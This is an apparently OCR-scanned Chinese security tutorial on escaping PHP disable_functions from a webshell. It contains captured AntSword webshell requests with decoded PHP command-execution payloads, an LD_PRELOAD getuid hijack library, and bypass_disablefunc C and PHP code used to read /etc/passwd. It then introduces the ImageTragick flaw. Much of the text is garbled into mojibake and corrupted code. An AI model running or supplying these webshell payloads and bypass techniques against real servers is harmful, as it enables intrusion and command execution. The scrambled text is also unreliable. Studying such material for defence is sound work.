
POST /webshell.php HTTP/1.1

Host: 192.168,.248.140: 8888

accept-encoding: gzip, deflate

User-Agent: antSword/v2.8

Content-Type: application/x-www-form-urlencoded
Content-Length: 839

Connection: close

meeteec=R40ini_setX28Xiddisplay errors¥22X2cX20%220%22%30%36Ka050t time limit¥2meXrok3eheader 2aX2THTTRE2F1 . 1202000 200K
X27X29%38echoX20%22 - RIEXTCNIZNIBX240%30d i rnameX 2824 SERVERKSER22SCRIPT_FILENAMER22XS0%29%381 FA2EE240% 30K30%2 2% 2%20%240
E3pdirnameX28X24 SERVERXSEXIZPATH TRANSLATEDK22%5DK29%3IBX24RE30%22%70%240%70%00%22X30 1 FX28subst rX2aX240%2C0%20 1829521530
%22%2F%22%20%TEforeach2BrangeX2aha 202220 %227%22% 2045 X20% 241 5201 Fha8is_dirkaaNaok7a%2a L B70%30%22%20%29%24R . KI0K2 2476240
R7DEIAKZ2XIBXTDe ] seRTER2AR . KI0X22X2F%2 2R IRT0R24R . X3I0K2 2X09%2 2R I0R24uR 30K 2B Function_existsX2aX22posin_petegid¥22%29%a9%IF
X40posix_getpwuidEIEX40posix_geteuidX2aX20X20%3A%I X220 3BX24sX30K28X 240N 20X IFEIAUNSER 2 2name 22450 3A%40get _current_user
RZEEZ9%IBN24R. X30php _unameX28X79%I8%24R, KIDN2 2X09%78X245X70%2 2% 3BechoX20%24RXIER IBecha k202 27 CKIC- %22%30d1e%28%29%3IBHTTR/
1.1 208 0K

Host: 192.168.248,149:8888

Date: Wed, @1 May 2018 13:11:08 +0800

connection: close

X-Powered-By: PHPS7.3.2-3

content-type: text/html; charset=uTF-8

-»|/root/disablefunc Fi Linux Youdiu 4.19.8-kali3-amd64 #1 SMP Deblan 4.19.28-1kalil (2019-82-14) x86_64
root | <-

A AIIE R B AR key 42 meetsec, POST T RELHHY body Fh4 wrl ALK Z , FA 1 FLIR i —

LEngcockeBRiR LT -5 LIRLSRE WA LirvicF i AsciifNative RIS S ik

meetsec= @ini_set("display_errors”, "07):@set_time_limit{):headerCHTTP/1.1 200 OKYecha *-

=["SD=dirname{$ SERVER["SCRIPT_FILENAME"[Kil{$0==""18D=dirname($ SERVER["'PATH TRANSLATED [;SR="{30] “if{substr($0,0,1)1="/"){loreachirange('C","Z")as
$Lyif(is_din" (L1 SR="[8L):" Jelsel$R ="/ %R.=" "Su=(function exsts] posix getegid ")) P8 posix getpwuid(@posix geteuid): ™ $s=($u)?

$ul"name”|:@get_current user(cSR=php uname(iSR.="  [§s}"echo SR echo | <" diel);

HAPRIH S 25/ AR RS dirnames phpuname-  getcurrentuser #/N7E disablefunctions Ho

BB IIRERI, B FRAIEK.
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M Wireshark - 8§ HTTP 7 (tcp.stream eq 3) - wireshark_35074CFB-6818-49F3-8B69-T40436FBA7E7_20190501131000_a13852 - 0O x

POST fwebshell.php HTTP/1.1

Host: 192,168, 248.140:8888

Accept-Encoding: gzip, deflate

User-pgent : antSword/v2.e

Content-Type: application)x-www-form-urlencoded
Content-Length: 876

Connection: close

BxBc2d65448156F=Lwk30X30Emeet sec=Ra0ini_setXoakaddisplay_errorsk2282C8208220%8222%20%030%40set_time_limitX2seXaox3sheader
X2EX27HTTPRE2FL . 1X20200%20600%27529% 3BechoX20X22 - XIEX7CK2 2% 38 24DX 20basesd_decodel28%24 POSTESEXZ 20%8c 2465448156 FX22X50X20X38
¥2ar¥3nkasopendirk2e%240%29% 301 FE2EX24F X3DX30NULLE29%TBechok26%2 2ERRORKE 30X FEIFE20PathE2eNot X20F oundE280r X 280X 28Permission
E21R22529%38% 700 ] seR7BEIAMEIDNUL LEIBE2ALEIDNUL LE3Bwhi 1eX 28224530348 readd i rE 2824 FE 20X 29X TRX 24PRIDX 24D . X 24NEIBX 24 TR IDEABdate
X2EX22Y-m-dX20HEIAIRIASKIZA2CKA0T i lemt imeX 282 4PE20K20XIBABX2AEXIDsubstrE2Bbase _convert¥28X40f 1l epermsi2aizap
X20%2010%2CAK20K2C -AR20XIBK2ARKIDK 2 2X00K22 . K2AT  K20Ep0K22 K40t les i zeX28X24P20 K2 2K00K22  K24E X2 2%0AK2 YR 381 fR28%401s dir
X2EX2APXIO%20K AN, X3I0K2AN. K22X2FX22 . X2aR%I0e] seXF0%24L . BI0KIaN , X2aRKIBNTDechoX 20k 2aM . K24 L 30%a0c Losed i rR2eX2aFR20X38%7D
X3BechoX2e2XE7CR3C-E22038d1aX28XIONIBHTTR/1.1 200 OK

Host: 192.168.248.140:8888

Date: Wed, 81 May 2019 13:14:20 +0808

connection: close

X-Powered-By: PHP/T.3.2-3

Content-type: text/html; charset-uTF-g

-¥|sys/ 2019-93-13 18:13:39 L) @555

lib6d/ 2019-03-13 17:42:38 4896 @755

bin/  2019-84-24 15:43:54 126976 @755

1ib32/ 2019-03-13 17:42:25 12288 @755

srv/  2018-10-12 17:14:26 4696 @755

home/ 2018-07-31 15:57:27 4896 @755

A 2019-03-13 18:05:58 4836 @755

- 2819-83-13 18:85:58 4896 arss

lib/  2019-03-13 18:04:20 12288 @755

var/  2018-10-12 17:19:49 4896 @755

boot/ 2019-84-24 15:29:45 4096 @755

tmp/  2019-05-01 12:43:33 4096 1777 S e
initrd.img.old 2019-03-13 17:55:35 38045566 o614 [ EETRE
initrd. img 2019-03-13 18:10:05 39764911 8644

<

Unicodet@is UTF-B4458 URLEHTS/REES Ui (E/EE Ascii/Mativel@iRE45

OwBe2d654481561=Lw==8&meetsec=@ini_set{"display errors”, "07);@set _time limit{0);header(HTTP/1.1 200 OK);echo ™-
>|"$D=base64_decode($_POST["0xBc2d65448156f ]);$F =@opendir($D);if($F = =NULL){echo("ERROR:// Path Not Found Or No
Permission!");jelse($M=NULL$L=NULL;while{$N = @readdir($F)}{$P =$D.$N;$T=@date{"¥-m-d

H:iss” @filemtime($F)); @$E=substr(base_convert{@fileperms($P),10,8),-4);$R=""3T." " @filesize($P)." "$E"
%if(@is_dir($P)$M.=3N."/".$R:else $L.=$N.$Rlecho $M.SL.@closedir($F):);echo *|<-":die();

HH1 filemtimes filepermss readdir SIS H AR AR A A M . A SHUTHNER G PR,
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M Wireshark - 88 HTTP ift (tcp.stream eq 5) - wireshark_35074CFB-6818-49F3-8B69-740436FBA767 2019050113100 a13952 - o x

POST fwebshell.php HTTP/1.1

Host: 192.168.248.140: 8888

Accept-Encoding: pzip, deflate

user-Agent: antSword/v2.e

Content-Type: application/x-www-form-urlencoded
Content-Length: 1722

Connection: close

@xd28d6bde ch7e=Y2021 1 9yb290L 2Rpe 2F L bevmdws 1§t sc 2t 1Y Zhw IFt TETtwd 207 ZWHoby BLRVEE I080xe5 793056 F2725=12 Iphi 92 aAX 30 3D8meet sec=
%4oini_set¥28%22display_errors¥22E2C%20%220022%20%36%48s5et_time_limitX280X20X3BheaderX28X27HTTPE2F. 1826206%200K
%27%20%3BechoX20%22 - RIEXTCE22XIBR24pKI0basesd_decode28%24 POSTESEED 200e5793956F 272552 2X50K29%3BX245X3Dbasesd_decode
%28%2a_posTEsBR22exd2Bdebac chyeXzaksokzokinkzadiandirnameXz8X2a_SERVERESBXZZSCRIPT_FILENAMERZ 2E50820%38%24cX30subs tr¥28X2ad
Xacek2C1X 20X 30302 2K FEI2EIFED 2 - cX20XS X2 2XTBN 24X 7RSS CR2 X2 FEIAK 2 IR Fc X 20K5C R N TREIA s TDESCE2 22 2% 30K 24 rX 30K 3XTBX24pETD
X20%78X24cX70%2 2536 functionX2efeX28%24fX20%70%24dX30explode X282 282CK2 2520k 0ini_getX28X22disable_functionsk22%20%20%38iF
E2BemptyX28E24dX29X29% TR 240X 3Darray R 2829838700 | se R 7BR24dE30array_mapi28X2 7tr imE27X2Carray_mapX2eX27striolowerk2 7E2C82ad
%20%20%38%570Dreturn¥28function_existsE28524F%20%26%261s_callableX2B8%24FX20%26%26%211n_arrayX2BX24fE2cK24d529%20%38%7D
E3pfunctionX2eruncmdi2ER24c k29X TBR24retEIDORIBI FR2Z8TeK28R27systemB2 7R 2020 7B 405y stenk 28R 24 cR2C 2 dretR20K3BNTDe 1 sel FR28 e
%28%27passthru27X29%29%78Ra0passthruX2aXackaci2aret X 29X 30%7De] sei FR2EfeX2aX27shel ]l _execX27X20X29%78printX28Xa8shell_exec
A28E240829%20%38870e ] sel FR28FeX 282 Toxec K2 TR29X295 7040 xec K2BR2ACKICR 240K 2024 r et X298 3Bpr Int K28 jol nk20%2 2X0AX2 2% 2 X240
295298 3I0%70e] seiFE20828f e85 Tpopen®l TR29E29%X T AR 24 f pRaDXa0popent2ER24C K202 T rE2 TH29% 3Bwhi | X 28R 2 1%40f eof R 2a%24Fp
R20X29%T7BprintR2aR4A0fget s X2 BR24 fpR2CR202048X29X 29 IBETORAGpC loseX 28R 24 FpR29X3IBRTDe s X7 ER 24r et X20% 30K 201 2 7X38X7Dreturn
%z20%2aretRIBXTONIENZAret K3DRAOrUNCmd B28% 24, X22X 202X 36X 261 X2 25 20X 3Bprint A 2aX 28R 24 re t N2 1K 00X 20X 3IF X2 2ret XADXTEX 2 A re tXTDX2 2034
E22%22%38%3Bec hoX20X2 2K 7CXIC-X22%38d1 0X2BX29KIBHTTP/1.1 268 OK

Host: 192.168,248,140:8888

Date: Wed, @1 May 2019 13:20:21 +0800

connection: close

X-Powered-By: PHP/7.3.2-3

Content-type: text/html; charset=UTF-8

-»|ret=127]¢-

Unicodemms LUTF-GmEs URL eI Unixfialia AsciM alivediga 5 g

Dod2BdEb0cchTe=Y20glidyb290L2Rpc 2 GV mAWS]tsctiV2mAF TN Ttwd 207 ZWiNaby BBRVO = Bne 579395662725 =1 2 Ipbidzaf = = Bmeetsec = @ini_set("display _erors”,
“0")@set_time_limit{0)headerHTTR/1.1 200 OKecho ™
| $p=basebd_decode($ POST[ TxeST331956f2725" || $s=baset4_decodel$ POST] Ond2Bd6b0cchTe ) d = dimamel$ SERVER"SCRIFT FILENAME) Sc=substr{$d,0,1)==
TP TSI W SsI T Sre"[hpl (3] function fe($T){3d= explode(”.”, @ini_get{"disable_functions")ifempty($di)
{Scsarray();lelse{Sd=array_map('trim’,array_map( striclower’ Sd)ljreturn(function_ edsts(3f88is callable{3N808tin_amay($f, Sl function runomd($c)

| {SretaOiifte! system )| @systemniic, Sret) elseif(fe passthru’)) | @passthru(3c, Sret) elseififeshell_ewec Tiiprint{@shell_exec(Scl)letseilie] oo }Jl

4 i =, EEE i =
{iexecSe, S0, Sred); print{join” _J_z- .Jr}”*;lj,,{—:

wtf-§ = Uil mec coche G4

UiriDecockedi sl

PS> HE R AU systems execs passthru S5 R FATFIE R AL, AT ar ST

B N T REIF 27 TR 7 2 AE T SR L

0xd28d6b0ccb7e=Y2Qgli9yb290L2Rpc2FibGVmdWS5jljtscztlY2hvIFtTXTtwd2Q7ZWNobyB
bRV0=8&0xe5793956f2725=1L2)pbi9zaA==8&meetsec=@iniset("displayerrors",
0");@settimelimit(0);header('"HTTP/1.1 200 OK");echo "-
>|";$p=base64decode($POST["0xe5793956f2725"]); $s=baseb4decode($POST["0xd28d6b
Occb7e]);$d=dirname($SERVER[" SCRIPTFILENAME"]);$c=substr($d,0,1)=="/"2"-c \"
{$sI\"""/c \"{$s)\"";$r="{$p} {$c}";function fe($f)
{$d=explode(",", @iniget("disablefunctions"));if(empty($d))
{$d=array();}else{$d=arraymap('trim',arraymap('strtolower’,$d));}return(functionexists($f)
&&iscallable($f)&8&!inarray($f,$d));};function runcmd($c){$ret=0;if(fe('system’))
{@system($c,$ret);}elseif(fe('passthru’)){@passthru($c,$ret);}elseif(fe('shellexec'))
{print(@shell_exec($c));}elseif(fe('exec’)){@exec($c,$o,$ret);print(join("
*,$0));}elseif (fe('popen’)){$fp=@popen($c,'r');while(l@feof($fp)){print(@fgets($fp,
2048));}@pclose($fp);lelse{$ret = 127;}return $ret;};$ret=@runcmd($r." 2>8&1");print
($ret!=0)?"ret={$ret}":"";;echo "|<-";die();

76
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HELE AR 2 EE ] baseod Hifi 744 R B 7y sUSEBE T AT ERHIRTE , M8 T H A HY base6d MR B EIHE E 749 th
FUATE RIS S, WAARANRIT, AT LLE TR

LD _PRELOAD fiji&

KF LD_PRELOAD, ZHIHSZAEAIIZH AR D MEH SR, th 5303, FE B MR Jetc/Id.so.preload H 2K
TSR, ISR SRR IR

IXHE M LD_PRELOAD HSZEAL:
LD PRELOAD, ENREBETE, BFaSENMNE,

HEEMBVRERES, —RERT, ENRITFH

LDPRELOAD >LDLIBRARYPATH>/etc/Id.so.cache>/lib>/usr/lib, BEFRIIZEER
—Jﬂﬂﬁhnﬁr‘ﬁﬁ 4%, Llopen()flexecve()ufl, MRHMNBENBENXREL, BEHEN
&G, BIZLDPRELOADME, HEFTEMopen®MiT, AANEIRRNEENNE
#

LR AR FRATAUE B BREL test MUPRATE R, W LAE ] LDPRELOAD XA i, NASRIRA TR IFLFI so S, Hr
A test AL APRIRNIESAT A I RIE TS LDPRELOAD MNE T A E T so XM, ABAAIREFL Ay S IAT A8 1 1
test BREL, ARG HY test AL Sediimm, SmEMIT.

a1 5 2 &[] 44 R BHERE SS AT YA, ] LD_PRELOAD A, #trl LMESEAT
LD_PRELOAD % (https://blog.csdn.net/m0_37806112/article/details/80560235)

BORMRIATE S — A Linux R4 MEER, Hu M0 & HNEIZ G4 T RES T ML K48 AP, sl rIHA T S0 455
%, o id m4 .

readelf -Ws “which

Symbol table '.dynsym' contains 75 entries:
Num: / Size T Vis Ndx N
@: 00 J0E ppeeEe B YP C DEFAULT UND
3 C 2] FlJNl G DEFAULT UND endg
FUNC B DEFAULT
FUNC { AL DEFAULT
FUNC { DEFAULT
FUNC \L DEFAULT U
FUNC GL \L DEFAULT UND __
DEFAULT UND s
DEFAULT UND
: DEFAULT UND
FUNC L DEFAULT ~
FUNC AL DEFAULT UND text
B FUNC DEFAULT UND
FUNC GLOBAL DEFAULT UND
B FUNC G DEFAULT UND
B FUNC G AL DEFAULT UND

Wk

(¥, =%

MK R, XA RAURE T REBE R Ap1, AWM, B0 A BB 2 L BRI8 F A1 B5L0E ¢
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dafofdiod

R SHELRE

strace - f ‘which id‘ 2> &1

WA IR Z 1, IRFATICTEA AW ¢

TSR R GRS R R ATE R LIk, BREUFR A —3, NI E 40, RSIERSIFFRL TS H W I RS
PREL, getuid() BUIE A, LACAH, SEBEFRSFEERAEINT : E5, M man 2 getuid A& AL :
GETUID(2) Linux Programmer's Manual

NAME
getuid, geteuid - get user identity

SYNOPSIS
#include <unistd.h=
#include <sys/types.h>

uid_t getuid(void);
uid t geteuid(void);

DESCRIPTION
getuid() returns the real user ID of the calling process.

geteuid() returns the effective user ID of the calling process.

ERRORS

These functions are always successful.

[ff: man1,2,3 & X

2 RS, openwrlteé M (CIERLX S, 0T DUR T B2 200 BN R, T 4L S )
3 2 FERREL, U printf fread

BEAR getuid AEWAF G IRATEIFFREATZOR, Sl FFR e, 65 —B getuid B ¢ 55 getuid_meetsec.co
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root@YouXiu cat getuid meetsec.c
#include <unistd.h>

#include <sys/types.h>

uid_t getuid (void)
{

system("echo 'Meetsec just test!'");
return 0O;

getuid meetsec.c: In func

getuid meetsec.c: : implicit declaration of function " system'
system("echo ust test!'");

/), dynamically Llinked, %1%%&%%“1

gcc - shared - fPICgetuid_meetsec.c - o getuid_meetsec.so - m64

SR LT

WRARG B EEE A, LA GCC HY - shared 130 B ASCIFAT LURECCIE L4 S0 80 H AR
FIINBIREES - fPIC 1L - fPIC IEWE A T a1 B, 5 rdnites ™ A5 M B TC AR (Position-Independent Code); IXAE—k,

FEAE R AR T B A IE T, A AT kBT AACRS T AR s I B N AR AL, #RAT LLERI AT X IE

B INRCR, AT
LD_PRELOAD=/root/disablefunc/getuid_meetsec.so ‘which id*

TN so CIF
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Meetsec
Meetsec
Meetsec
Meetsec
Meetsec
Meetsec
Meetsec
Meetsec
Meetsec
Meetsec
Meetsec
Meetsec
Meetsec
Meetsec
Meetsec
Meetsec
Meetsec
Meetsec
Meetsec
Meetsec
Meetsec

just test!
just test!
just test!
just test!
just test!
just test!
just test!
just test!
just test!
just test!
just test!
just test!
just test!
just test!
just test!
just test!
just test!
just test!
just test!
just test!
just test!

uid=0(root) gid=0(root) ZH=0(root)
: root@YouXiu 3 | EELRE

FIXIA R, LA EE 2 U TR R TR .

BRI T LU AR T -

export LD_PRELOAD="./getuid_meetsec.so"id

FIES

, AEAET ARG L4 T, WA RGeS E S IR so, AT HETC

c just

Meetsec
Meetsec

just

just

just

linux-vdso.so.l (0x00007ffef05afoon)
froot/disablefunc/getuid_meet so (Ox00007fbdd20b&000)

libselinux.so.1l => /1ib/xB6_64-linux-gnu/libselinux.so.l (0x00087fbddlet2000)
libc.so.6 == flib/3 4-linux-gnu/libc.s0.6 (0x00007fbddlcaldod)

libpcre.so. lib/x86 64-linux-gnu/libpcre.so.3 (6x00007fbddlc2deoe)

libdl.s0.2 =: b/x86_64-linux-gnu/libdl.so.2 (0x00007fbddlc28000)
flib6d/1d-1inux-x86-64.50.2 (0x000087fbdd20c9000)

'ﬁ,ibgthread.soiﬁ => /1ib/x86_64-linux-gnu/libpthread.so.0 (0x00007 iRl FFRESLILE
ITOUALU

REET A TR AR o



PRELOAD ¢
sLD_PREL

from LD

NULL®

NULL"
NULL®

from Lﬂ PRELOAD canm

export LD_PRELOAD=NULL

A LURRUER TS

php A LD_PRELOAD
FEFEEM linux REZTEA

AHI, OATRZ php BREUE AT LUSSIHTEERERY, — BRZh 7Rt fe L
FIREEET CIRE TR, FrLAPiE R8sl A MR Z AL

Bt ABATTEAM 88 1 php HAFHEREL, BARAZ 2T LUR SRR Y,
GENE

JF3C M yangyangwithgnu LT O-FHZT AT php HHY mail

strace -f php mail.php 2>&1 [grep -A2 -B2 execve

"MULL"
'"NULL'

openat (AT_FDOWD, "/etc/ld.so.cache

[pid 7 waltd | 34, =unfinished .
[pid 73 dup2{3, 8)

[pid 72 (“/bin/sh"

[pid 7253 bBrk {HNULL)
[pid 725 openat (AT_

FDCWD ,

=NULL, flags
waltd(-1,
(" fusr/sbin/
brik{NULL)
at(AT_

CLONE_CHILD CLEARTID|CLOME CHILD SETTID
un11.1.14ht.] >
xndmail”,

FATE php AT LAME A putenv BREHR BT INZLFRATTS G719 so 308

putenv("LD_PRELOAD=/root/disablefunc/getuid_meetsec.so");

WAL ETEA IR, IS RS

(cannot

open shared object

open shared object

AR IEH -

2877 —F LD_PRELOAD & SURIHYE, BB AR php AW 2 7

WO FH R 58 AP

HIRA BT B RE

BREUE ST Al LA

t file):
t file):

SIGCHLD, child tidptr=@

Bx55b0a54¢

J& exec,system,passthru

CXCCV( F'ﬂﬂf?ﬂ‘

RLHFT | ONGTENG

ignored.

ignored

red.

[E php 2T CIBEE A, linux

S

BERE

ignored.
igno
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cat mail.php
' from LD _PRELOAD cannot be prelcaded (cannot

/root/disablefunc/getuid meetsec.so");

| php mail.php|more
ect 'NULL" from LD _PRELOAD cannot be p ded (cann
‘NULL® from LD _PRELOAD cannot be preloaded (cannot open shared object file):

Just te:
just tes
just
just

W, HENXE, EAMSHITHEEMA 1.
FATATLASE I — A rT AT Y so ST S 1> php SCEFSTHIFRATHT so ST
IR so SCPFRYATIFH SRR ZIE ] ¢ TRAD ST AiERE], 1T Has i @ A TR RGN AY I = %

AR B EA —AAE, c IERSAY, FRATLENFEA K& ¢ BTE L php B9 mail 28ECA B Eh i I fE ST R Eh
getuid FREL, (B strace i HUZE B

mail PRET T RS AE R sendmail #ii 4>

HEANERGEHEHT sendmail EZE W RERATRALLE, WAZXFERE, FATHICEEE mail--sendmail--getuid JX 4555
LR EHT -

R LATRATTRE N 3% 7% RE A B RE R BRI, TN 5 BSR4, i BUE RS | R TR
[M1%] LD_PRELOAD AL, RGEEITEHEIMBILZXSR, WIREEHRE]— T3, S s d A, A5 s

RAEEE, AP TT LIRS sendmail T o XFI7505 Cr+ DM BREUH ELAEL LA R G TR, GCCHN CEET B
EAMFF __attribute_((constructor)), 7 LALEH EAEMREIYBREAE main() Z TIHAT, A E HIEIL G, A8 — BI04 R
gehnzg, T RIEHRAT _attribute_ ((constructor)) &4 1Y PR AL

AEH nice BYRIR AL, TUFHHFEA—REL, FPocm TE R0 5 XA RA R BRI A !

XA A 2 R PR A JCFF sendmail: T5 ] LD_PRELOAD 287 disable_functions 1FA&3% T DAL, EELGH THCE
T php /NEFT ¢ ST H A .

bypass_disablefunc.php
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AntSword SR B[ S

1] = D 192.168.248.140 - - 192.168.248.140 >
o @R (0) < | OAME (7 -
3w B S OfE - +LE CWF WIEF ARE - moydssblefunc 2 im@
: 'L:"" - a8 o it
M _armitage [ bypass_disablefunc.php 2019-05-04 16:08:22 SE0 b 0644
B cache [ bypass_disablefunc_xé4.50 2016-05-04 16:08:23 6.79 Kb 0644
B .config [# getuid_mestsec.c 2019-05-01 14:28:01 117b 0644
M _dbus [ getuid_mesisec.so 2019-05-01 14:30:55 15.62 Kb 0755
I .gnupg [ mail.php 2019-05-01 15:00:13 92 b 1644
B ipython [ phpinfo.php 2019-05-01 12:47:16 20b 0644
e [@ webshell.php 2010-08-01 12:48:11 b 0644
B kismet
I .ocal
| .maltego
W .mozilla S =
s ;
B .oh-my-zsh & i it aligndig =EHA
Il .pocsuite i bypass_disablefunc_x&4.50 == frool EERETH 2019-05-04 18:08:22  2019-05-04 18:08:23
B _presage L& bypass_disablefunc.php => froot/di: HfEREth 2019-05-04 18:08:22  2019-05-04 18:08:22
B recon-ng
B set
M ssh \
I Document -

bypass_disablefunc.php &£t =1~ GET 24,

1. cmd 24, FEUTHI RG-S (A1 pwd):2. outpath 248, FRAF AT P TH H 25 R A SCPRIRAZ (10 fmp/xx), fETAEDUAE ERIR,
THNRTZSEL, R web £ ABEER web &R BT[]y SCU-R 8 s FIIMBR S5 JL AT ;3. sopath 248, 48EHFF
RGRBUN TN G 4% B A% (U fvar/wwwibypass_disablefunc_x64.50), BAMETIZEEL, VRNVIERE web A7 AT H#U7 W 2 & .
IEAh, bypass_disablefunc.php 4% i & F H B2 BN SERE A i 4T, I MRASHTE ecmd 28T EE T : $evil_cmdline = $emd . "

>" . $out_path."2>&1";
[N, JEIEFRIEAR H: EVILCMDLINE [A] bypassdisablefunc_x64.s0 /%1% EUASA T Ar 1 TE B -
putenv("EVIL_CMDLINE=". $evil_cmdline);

bypass_disablefunc.c
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#include <stdlib.h>
#include <stdio.h>
#include <string.h>

extern char*¥* environ;

__attribute__ ({__constructor__}) void preload (void)

{

// get command line options and arg
const char* cmdline = getenv("EVIL CMDLINE"};

// unset environment variable LD PRELOAD.
/{ unsetenv("LD PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
fiifie £ig
for (i = 8; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][@] = "\@';

}

// executive command

system(cmdline);

IR AR S — A0 1) AR 2 BRI L) bypassdisablefunc.c( kH github) FERE A R A — M, 2 W T for 1 ER
& 24 LDPRELOAD B B P4 B0, WRRIEM TR CIESMESME\0E CIBE T RERKIE, FREEREA:
unsetenv("LDPRELOAD") £EH-4E Linux KATHUA—E 4R (A1 CentOS), X EE—A/NhEREGS 1L RS0 )5UA 1T LDPRELOAD FREEAR Hr
H 3l K3

SR MBS EVILOMDLINE HHIK bypassdisablefunc.php F 3 e FIHFT 1 67447«

Hfir 4 gec -shared -fPICbypassdisablefunc.c -o bypassdisablefuncx64.so 14 bypassdisablefunc.c 4% 44k X4 bypassdisablefuncx64.

SO«
BRI FAR AR I FIRRUAS , 75 x64 HOPRIEH A 15 , 2/ A I TN BRIN A xo64 , 47 L4015 B x86 AR MR 2N L -m32 13T

SRJETATT L SIFEAR S EAZRIEATTHY web Hat T
AntSword B EH[O #hif

4 ] M192.168. 248.140 »- 192 .168.248,.140 3
O ARME (0) ¢ OxAEE ) -
= / S o - ALE CBE ISR RS - jmoyssbidun 2@
=
i s a8 Fe ®it
I disablafunc
b disablefunc. 2019-05-04 16:08:22 580 b 0644

M .armitage [B bypass_disablefunc.php

I .cacha [ bypass_disablefunc_xtd.50 2019-05-04 18:08:23 6.79 Kb 0644

M _config [ getuid_meetsec.c 2019-05-01 14:28:01 117hb 0644

I dbus D getuid_meetsec.so 2019-05-01 14:30:55 15.62 Kb 0755

I gnupg B mail.php 2019-05-01 15:00:13 82b 1644

M ipython [  phpinfo.php 2019-05-01 12:47:16 200 0644

 jaa [ websheilphp 2019-05-01 12:48:11 sh 0644

B kismet

M .ocal

B maltego

M .mozilla =

— fHEE ¥

M oh-my-zsh 4 i W ik =N

I pocsuits Lk bypass_disablefunc_x54.50 == froal EfRETh 2019-05-04 18:08:22  2019-05-04 18:08:23

M presage L bypass_disablefunc.php == /root/di: &Rt 2019-05-D4 18:08:22  2019-D5-04 18:08:22

M reconeng

. set \

| ssh

M .zenmap

ZEE AT I

— —%

M Deskiop R
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ok, Wt — FRCRME
http://192.168.248.140:8888/bypassdisablefunc.php?
cmd=cat%20/etc/passwd&outpath=/tmp/xx&sopath=/root/disablefunc/bypassdisablef

unc_x64.so

“ @ | (D 192.168.248.140.8688,/bypass_disablefunc phplomd =cat¥%20/ete/passwdSioutpath = AimpfoBisopath =/root/disablefunc/bypass_disablefunc_xbd.so -1

example: http://site.com/bypass_disablefunc.php?cmd=pwd8outpath=/tmp/x8isopath=/varfwww/bypass_disablefunc x64.s0
cmdline: cat /etc/passwd > /tmp/fioc 2> &1

output:

rootx:0:0root: froot,/bin/zsh

daemon:x:1:1:daemon:fusr/shin:/usr/sbin/nologin

bin:x:2-2:bin;/bin:/usr/sbin/nologin

sysoc3:3:sys:/dev:/usr/sbin/nologin

syncx4:65534:sync /bin:/bin/sync

games:x:5:60:games:/usr/games:fusr/sbin/nologin

manoc6:12-man;/var/cache/man:/fusr/shin/nologin

Ipx7:7:\p:/var/spool/lpd:fusr/sbin/nologin

mail:x8:8:mail:/var/mail/usr/sbin/nologin

newsx:9:9:news:/var/spool/news./usr/sbin/nologin

uucpo:10:10uucp:/var/spool/uucp:/usr/shin/nologin

proxy:c13:13:proxy:/bin:/usr/sbin/nalogin

www-data:ic33:33:www-data:/var/www:/ust/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list/usr/sbin/nologin

ircx:39:39ircd: Avar/run/ired:/usr/sbin/nologin

gnatsxc41:41:Gnats Bug-Reporting System (admin),/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody/nanexistent:/usr/shin/nologin

_aptx:100:65534:/nonexistent: /usr/sbin/nologin

systemd-timesyncx:101:102:systemd Time Synchronization,.,./run/systemd:/usr/sbin/nologin
systemd-network:x:102;103:systemd Network Management,,../run/systemd:/usr/sbin/nologin
systemd-resolven:103:104:systemd Resolver,,,./run/systemd:/usr/sbin/nologin _
mysqlxc104:109:MySQL Server,,, /nonexistent:/bin/false ¥
Debian-exim:x:105:110:/var/spocl/exim4./usr/sbin/nologin N
uuidd:106:112:/runfuuidd:/usr/shin/nologin
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23 php B9 disable_functions (&)

ERERGHR T AHENEAL R LD_PRELOAD SFF RZEEL, I MMECERE so IRBIAT RS & AR -

125 BREMERL R, R T 2K T4 disable_functions IFTEH, Tifl 7 — T RlE, I EPEFTRHA
FiEs 5.

HH R 2R T BRI T _ BRI 7 A TR

S ZA IR (imagemagicks  GhostScript 1 bash shellshock)

AT X REERERIRE T, EARF NB HIRIAT T rm —of /*, SEEEHRSER Kali 118 GG, LA fER G, 2MahE
RO, IHEO

ImageMagick

ImageMagick &/

ImageMagick /& MR AVEIEE. . SRR AIEEE. BT DAL el BRI E Ao A UIE] B,
BRI, BT da, SUR, B, 2008, MR, e, BHmE AR . ImageMagick B HHIT: 2HE
VRRGFE, ATLAEEREEA, EH, B, &K, CESF GPL PR ML, FLUBIT T REZHATEIE RS, ImageMagick HIKZ 4L
REAYfE FHARATR T an 217 TR

R, R LASCRRLURFEFIE T : Perl, C, C++, Python, PHP, Ruby, Java; HLH ImageMagick 1 (PerlMagick, Magick-++,
PythonMagick, MagickWand for PHP, RubyMagick, and JMagick) &R F Y. X {15 5 SR8 S RME SO S R 22 AT RE.

VF 2 W Bl T 42 B % 41 ImageMagick 471 J R A web £ (9 7 A B T AR, BRI P Sk B AR i 181 T i 5. L php A1
IMagick~ MagickWand for PHP « phMagick %¢ ImageMagick i B2 jjava A JMagick,python £ PythonMagick Wand S5 )% .

&1 <, ImageMagick &k IZHAT A EMRAL BN, A TCHA W3 i B AT B AL E
M4 P R MR R AR R 200, tinskB b BRI R 9liEss, ATRESI 2 M E] ImageMagick

Bai®SEH

E- 7 @

- -~
" Lan 4 g
083300609 42 P 2ipa 1ipg g

ImageMagick J&IH (CVE-2016-3714)
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ImageMagick il (CVE-2016-3714)
FLS ImageMagick AR HGIRIE AR, 1985 A4 1 B RS &8 6 2 AT ImageTragick(CVE-2016-3714).

R R I AR R T IR B O Y 18 R A% A T B AR Y TmageMagick , ImageMagick 23 H 24t HAg 2 TG
oI e T R E mALEE b i ar . IR Z B Mg b e BB, 18 ) a5 a8 AL D RER W st &R m]

RE2 T,
T S R T T
FMRR AT . TmageMagické.5.7-8 2012-08-17ImageMagick6.7.7-10 2014-03-06 {RAA . 6.9.3-9 released 2016-04-30

XA I AT AS DR 7 7 IR, DR ELRRTR 2 (2 24 e L7 D s A2 AR DI, FI 74252 E) wooyun BUE,

p |GV

| reas:
pESE &
MARank : 15

i) 548 : 2016-05-08 21:48
| reas:

ERGIRETS, ETRERNZNEETHAELE, ELBTEPMTMESSENshell , BB TERERSETSTOURSN R, N

HFOTE 7 BN TFLAERET ? MSITH  TROERS,

| & \ -, meipEerill o
B - SV et TS

wE
AR N R[] 5
FIFHEY poc.png H LR 510
